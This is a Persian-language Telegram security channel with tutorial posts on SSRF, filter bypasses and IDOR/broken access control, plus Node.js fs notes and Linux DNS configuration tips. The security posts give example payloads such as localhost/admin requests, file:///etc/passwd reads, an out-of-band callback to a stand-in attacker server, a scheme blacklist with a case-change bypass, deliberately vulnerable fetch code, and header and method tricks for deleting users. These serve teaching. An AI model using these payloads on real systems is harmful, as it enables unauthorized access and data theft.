/dev/null
321 subscribers
50 photos
11 videos
8 files
111 links
| دستمو گذاشتم رو این کار ، قلبمو گذاشتم. |

هر new ای را delete ای ست و پس از آن null کردنی (:
Download Telegram
1/1/2025 ✨️
🎅2🔥1
Server Side Forgery : (SSRF)


آسیب‌پذیری امنیتی وب است که به کاربر اجازه می‌ده تا برنامه سمت سرور را وادار کند تا درخواست‌هایی به مقصدهای دلخواهش ارسال کنه که میتونه سرور های داخلی سایت باشه یا یه سری سرور های خارج از شبکه که اطلاعات مهمی داخلش هس و دسترسی public ندارند .

حالا چه زمانی رخ میده ؟
وقتی که سایت به کاربر اجازه می‌ده ورودی های ssrf رو تبدیل به درخواست های HTTP بکنن و در سمت سرور به عنوان به request پردازش میشه
با ssrf هم میشه یه سری data خواند و هم بعضی مواقع دستور اجرا کرد . ( پس کلا تویه ssrf میخوایم به منابعی که از بیرون دسترسی public ندارند دسترسی پیدا کنیم که میتونه localhost باشه یا ip خصوصی)


مثلا اگه یه سایت داشته باشیم و جایی برای نشان دادن باقی مانده یه محصول باشه: ( چون داره برای نشون دادن باقی مانده از اطلاعات و database سرور کمک میگیره )
اولش یه چنین request میره :
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

که میتونیم به این request ها تغییرش بدیم :
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin

یا
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://192.168.0.68/admin

یه مثال از کد آسیب پذیر ( node js ) :

const express = require('express');
const axios = require('axios');
const app = express();


app.get('/fetch', async (req, res) => {
const url = req.query.url;

try {

const response = await axios.get(url);
res.send(response.data);
} catch (error) {
res.status(500).send('Error in fetch');
}
});

app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});

Send HTTP req to Servers:
http://localhost:3000/fetch?url=http://localhost:8000


یا برای php :
<?php

if (isset($_GET['img'])){
$img = $_GET['img'] ;
$image = fopen($img , 'rb') ;
fpassthru($image) ;
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SSRF TEST</title>
</head>
<body>
<img src='/?img=/your_directory_file'> </img>
</body>
</html>



http://localhost:8001/ssrf.php/?img=https://google.com


یا حتی میشه فایل خوند با scheme file :
http://localhost:8001/ssrf.php/?img=file:///etc/passwd

بعضی وقتا هم هیچ response نداریم از طرف Server که میشه همون blind که تقریبا همه جا داشتیمش که یه روشش out-of-band هس ( یا با time هم میشه ):

http://localhost:8001/ssrf.php/?img=https://attacker.server.com:port 

که از لاگ های سرور خودمون میشه فهمید ssrf داریم یا نه .
#ssrf
6
/dev/null
Server Side Forgery : (SSRF) آسیب‌پذیری امنیتی وب است که به کاربر اجازه می‌ده تا برنامه سمت سرور را وادار کند تا درخواست‌هایی به مقصدهای دلخواهش ارسال کنه که میتونه سرور های داخلی سایت باشه یا یه سری سرور های خارج از شبکه که اطلاعات مهمی داخلش هس و دسترسی…
آقا بعضی جاها یا بعضی از scheme ها رو نمیشه استفاده کرد یا نمیشه از localhost استفاده کرد و یا اصطلاحا url رو میندازه ( همون url که میخوایم درخواست بهش زده بشه ) یه سری payload داره که بعدا میزارم 🦦❤️
1
اوضاع خیطه
🤣10😭6
176 🖤
💔12🤣2
/dev/null
Server Side Forgery : (SSRF) آسیب‌پذیری امنیتی وب است که به کاربر اجازه می‌ده تا برنامه سمت سرور را وادار کند تا درخواست‌هایی به مقصدهای دلخواهش ارسال کنه که میتونه سرور های داخلی سایت باشه یا یه سری سرور های خارج از شبکه که اطلاعات مهمی داخلش هس و دسترسی…
خب تویه بحث checker function ها

اول اصن واسه چی فیلتر میزارن ؟
فرض کنید برای موجودی گرفتن وارد یک درگاه بانکی می‌شوید خوب حالا برای نشان دادن موجودی شما یک درخواست از طرف وب سرور به سرور مرکزی که فرض کنید LocalHost هست درخواست می‌زند
( البته تویه سیستم بانک اینقدر ساده نیس ولی خوب )
حالا باید برای وب سرور یک سری چکر فانکشن ست شود که هر کلاینتی نتواند از طرف بانک به سرور مرکزی درخواست بزند ، در اصل کاری می‌کند که ما به هر جایی نتوانیم درخواست بزنیم.

حالا فیلتر ها رو دو جا استفاده میکنن :
1_ تویه Domain name
2_تویه protocol که درخواست رو باهاش ارسال میکنیم

تویه protocol ها : ( میتونن یه whitelist درست کنن)

^(http|https):\/\/[^\s\/$.?#].[^\s]*$

مثلا این regex میاد میگه فقط درخواست ها میتونن با HTTP یا HTTPS فرستاده بشن . مثلا این درخواست ها توش غیر مجاز هسن :
localhost/admin
file:///etc/passwd
https:// site.com

با regexpal برید خودتون چک کنین چرا کار نمیدن
یا blacklist میتونه اینطوری باشه :

^(file|gopher|dict|ftp|ssh|telnet)://

file://     ---> block
gopher:// --> block
...

یا میتونه درخواست به یه سری ip ها رو بلاک کنه :

^(127\.|192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|169\.254\.)

خب حالا من میخوام تویه /etc/passswd رو ببینم که scheme اون هم file هس که اونم بلاکه ولی میشه اینطوری درخواست بزنیم :
FiLe:///etc/passwd

چون مرورگر به بزرگ و کوچک حروف حساس نیس و باید وب سرور قبل گرفتن url حروفش رو کوچیک کنه

let url = "FiLe:///etc/passwd";
url = url.toLowerCase();
console.log(url);
5
/dev/null
خب تویه بحث checker function ها اول اصن واسه چی فیلتر میزارن ؟ فرض کنید برای موجودی گرفتن وارد یک درگاه بانکی می‌شوید خوب حالا برای نشان دادن موجودی شما یک درخواست از طرف وب سرور به سرور مرکزی که فرض کنید LocalHost هست درخواست می‌زند ( البته تویه سیستم…
const express = require('express');
const fs = require('fs');

const app = express();
const port = 8000;

const blacklistRegex = /^(file|gopher|dict|ftp|ssh|telnet):\/\//;

app.get('/readfile', (req, res) => {
const filePath = req.query.path;

if (!filePath) {
return res.status(400).send('no params');
}

if (blacklistRegex.test(filePath)) {
return res.status(403).send('Access forbidden');
}

fs.readFile(filePath, 'utf8', (error, data) => {
if (error) {
return res.status(404).send('File not found');
}

res.send(data);
});
});

app.listen(port, () => {
console.log(`http://localhost:${port}`);
});
6
آقا داشتم درباره fs (file system) تویه node js میخوندم دیدم این بحث جالبیه 🦦❤️

کلا fs یه ماژول برای اجرا کردن دستورات سیستم عاملی هست .
میاد یه سری directory یا file درست میکنه ، حذف ، ویرایش و یا پسوند فایل میخونه و ...
حالا تویه node js دو نوع عملکرد واسه ماژول fs میتونه رخ بده :

عملکرد همزمان (Synchronous):
در این حالت، برنامه تا زمانی که عملیات I/O (مانند خواندن فایل) کامل نشود، متوقف می‌شود. به عنوان مثال، fs.readFileSync باعث می‌شود که برنامه منتظر بماند تا فایل خوانده شود و سپس به خط بعدی کد برود.
این روش می‌تواند در اسکریپت‌های ساده یا در مواقعی که نیاز به عملکرد سریع و بدون پیچیدگی دارید، مفید باشد.
عملکرد ناهمزمان (Asynchronous):

در این حالت، برنامه می‌تواند به کار خود ادامه دهد در حالی که عملیات I/O در پس‌زمینه در حال انجام است. به عنوان مثال، fs.readFile به شما این امکان را می‌دهد که با استفاده از callback functions ، نتیجه را پس از اتمام عملیات دریافت کنید.
این روش برای برنامه‌های سرور که نیاز به پردازش همزمان چندین درخواست دارند، بسیار مناسب است. ینی در این روش باعث میشه event loop مسدود نشه.

حالا فرقشون چیه تویه پردازش و مدیریت خطا:

در متدهای همزمان، می‌توانیم try-catch برای مدیریت خطاها استفاده کنیم.
در متدهای ناهمزمان، خطاها معمولاً از طریق callback‌ها، Promise‌ها یا syntax async/await مدیریت می‌شوند
2
/dev/null
آقا داشتم درباره fs (file system) تویه node js میخوندم دیدم این بحث جالبیه 🦦❤️ کلا fs یه ماژول برای اجرا کردن دستورات سیستم عاملی هست . میاد یه سری directory یا file درست میکنه ، حذف ، ویرایش و یا پسوند فایل میخونه و ... حالا تویه node js دو نوع عملکرد واسه…
Synchronous :

const path = require('path') 
const fs = require('fs');
const projec = path.join(__dirname, 'projects');

if (!fs.existsSync(projec)) {

try {
fs.mkdirSync(projec);
console.log('Directory created successfully.');
} catch (err) {
console.log('Error creating directory:', err);
}
} else {
console.log('Directory already exists.');
}

console.log('It is interesting');

Asynchronous :

const path = require('path') 
const fs = require('fs');

const projects = path.join(__dirname , 'projects')

if (!fs.existsSync(projects)){
fs.mkdir(projects , (err)=>{
if (err){
console.log('Error creating directory:', err);

}
console.log(`add new directory be name projects`);

})
}

console.log('It is interesting');
👏4
/dev/null
Synchronous : const path = require('path') const fs = require('fs'); const projec = path.join(__dirname, 'projects'); if (!fs.existsSync(projec)) { try { fs.mkdirSync(projec); console.log('Directory created successfully.'); }…
اینم واسه تستش
اگه هر کدوم رو تست کنین تویه همزمان اون it is interesting آخر همه ی لاگ ها چاپ میشه ولی اگه تویه ناهمزمان تست کنین اول از همه لاگ ها چاپ میشه
👍2💯2
Forwarded from リョウ (Mr.Packer)
اگر از لینوکس استفاده میکنید احتمالا پیش اومده هرچقدر فایل resolv.conf رو ادیت میکنید دوباره nameserver ها بعد از ریبوت یا ریست شدن سرویس نتورک به حالت اول بر میگردن اما راه حل چیه ؟
بنا بر توزیعتون پکیج resolvconf رو نصب کنید مثلا برای دبین ها apt install resolvconf و آرچ ها pacman -S resolvconf و ..
بعدش باید سرویسش رو enable و start کرد :
$ sudo systemctl start resolvconf.service

$ sudo systemctl enable resolvconf.service

سپس این مسیر باید ویرایش بشه etc/resolvconf/resolv.conf.d/head
$ sudo nano /etc/resolvconf/resolv.conf.d/head


و nameserver های خوتون رو داخلش بریزید مثلا :
nameserver 8.8.8.8


و سپس این دو سرویس رو ریستارت کنید باید اوکی بشه :

$ sudo systemctl restart resolvconf.service
$ sudo systemctl restart systemd-resolved.service





#linux

@DiHoXCH
3👎1
منم کلافه شده بودم رفتم سرچ کنم ببینم چه خبره 🦦
رفتم یه سرچ زدم چون اصن همچین مسیری طبق پست برای من نبود
اول باید ببینیم سیستم از چه سرویس مدیریت شبکه ای استفاده میکنه
چطوری ؟

$ sudo mousepad /etc/resolv.conf

مال من NetworkManager بود . میتونه systemd-resolved یا dhclient و ... باشه .
( فقط رویه NetworkManager تست کردم )
بعدش اگه فقط خواستین رویه تمام connection ها dns ست کنین یه حلقه میخواد و یه nmcli برای پیدا کردن connection ها و dns خودکار هم ایگنور کنین (DHCP)
$ for connection in $(nmcli -g NAME connection); do
sudo nmcli connection modify "$connection" ipv4.dns 8.8.8.8
sudo nmcli connection modify "$connection" ipv4.ignore-auto-dns yes
done

واسه کانکشن ها جدید هم
sudo mousepad /etc/NetworkManager/NetworkManager.conf

اینو به main اضافه کنین
[main]
dns=8.8.8.8


$ sudo systemctl restart NetworkManager
👍4
Access Control

به مجموعه‌ای از قوانینی گفته میشه که مشخص میکنه چه کسی چه سطح دسترسی و از چه منابعی میتونه استفاده کنه.

خب حالا این مجموعه شامل چه اعضایی میشه:
1. در گام اول Authentication اتفاق می‌افته و فرد احراز هویت میشه.
2. در گام دوم Authorization اتفاق می‌افته و به کاربران مختلف دسترسی‌های متفاوت داده میشه.
3. اجرا شدن قوانین به‌صورت امن.

حالا این کنترل دسترسی‌ها شامل چند دسته و نوع میشن:
فقط اینکه مفهومشون رو بدونید فکر کنم کافیه. مثل اینکه مدیر فقط میتونه ادمین اضافه کنه یا اینکه مثلا کشور ایران نمیتونه به یه فیچر از برنامه دسترسی داشته باشه یا من به‌عنوان مدیر تصمیم میگیرم فقط یه نفر رو به‌طور خاص سطح دسترسیش رو مشخص کنم. هم‌چنین، یه سری محدودیت‌ها هم توسط سیستم‌ها اعمال میشن و توسط کاربر دیگه قابل کنترل نیستن (به اینا میگن MAC).

حالا برای این Access Control یه سری آسیب‌پذیری‌ها پیش میاد:
یکی از این آسیب‌پذیری‌ها IDOR هست (Insecure Direct Object Reference).

توی این آسیب‌پذیری، وب‌سرور ورودی کاربر رو میگیره و به‌عنوان ورودی برای دسترسی به یه شیء یا فایل استفاده میکنه. مثلا:
https://bank.com/card/?idUser=22   ==> id مربوط به یه کاربر هست
https://bank.com/card/?idUser=34 ==> id مربوط به کاربر دیگه است!!

یا ممکنه توی API این اتفاق بیفته:
post /card
body: {"idUser": "22"} // تغییر به idUser34!

اما همیشه اینقدر ساده نیست. مثلا ممکنه idUser توسط uuid یا gid یا حتی یه عدد تصادفی ساخته بشه. در این صورت باید اون عدد رو از راه‌های مختلف برای کاربران دیگه پیدا کنیم. مثلا توی بخش نظرات یک محصول:
یه مثال با gid :
<div class="comment">
<p>great !</p>
<span>mr_x: b6f8a920-3d7a-4a21-92f2-e8f5a6d123ab</span>
</div>

با درخواست به این لینک:
https://store.com/user-profile?user_id=b6f8a920-3d7a-4a21-92f2-e8f5a6d123ab

می‌تونیم پروفایل طرف رو ببینیم.

یه نوع دیگه اینه که بسته به شرایط id تغییر می‌کنه. مثلا شما می‌خواهید پروفایلتون رو آپدیت کنید. علاوه بر اینکه یه user_id دارید که چک می‌کنه خودتون هستید، یه id هم برای پروفایلی که می‌خواهید آپلود کنید در نظر گرفته میشه:
post /profile/image/?id_user=22
profile_pic = Blob_data

(Blob_data یه نوع روش برای ارسال و ذخیره عکس هس )
وقتی این درخواست ارسال میشه، یک id برای پروفایلی که میخواهید ارسال کنید در نظر گرفته میشه. وقتی گزینه submit رو میزنید، اون id هم چک میشه، علاوه بر user_id که توی json ارسال میشه و چک میشه:
post /profile/?user_id=22
{
"name": "mr_x",
"profile_edit": "4"
}

این‌ها خود به نوعی IDOR محسوب میشن، اما آسیب‌پذیری‌های دیگه‌ای هم هستن که باعث بروز IDOR میشن. مثلا:
- تغییر method HTTP:
برنامه‌نویس ممکنه فقط post به /deleteUser رو مسدود کرده باشه، ولی بخواهیم یه کاربر دلخواه رو پاک کنیم:

  post /deleteUser
cookie: session=xxxx
username = mr_x

میشه این رو تبدیل کرد به:

  Get /deleteUser/?username=mr_x
cookie: session=xxxx

- استفاده از هدرهای غیرمعمول HTTP مثل X-Original-URL و X-Rewrite-URL:
این هدرها به سرور اجازه می‌دن که URL اصلی درخواست رو تغییر بدن. مثلا:

  POST / HTTP/1.1
Host: site.com
X-Original-URL: /admin/deleteUser/?username=mr_x
Content-Length: 0

اینطوری میشه URL رو از / به /deleteUser تغییر داد و کاربر دلخواه رو حذف کرد.

دوستان این مبحث طولانیه، ولی ساده است و انواع مختلفی از Broken Access Control وجود داره که بیشتر باهاشون مواجه شدم و گفتم 🦦


#access_control #IDoR

t.me/mrdevnull
👏4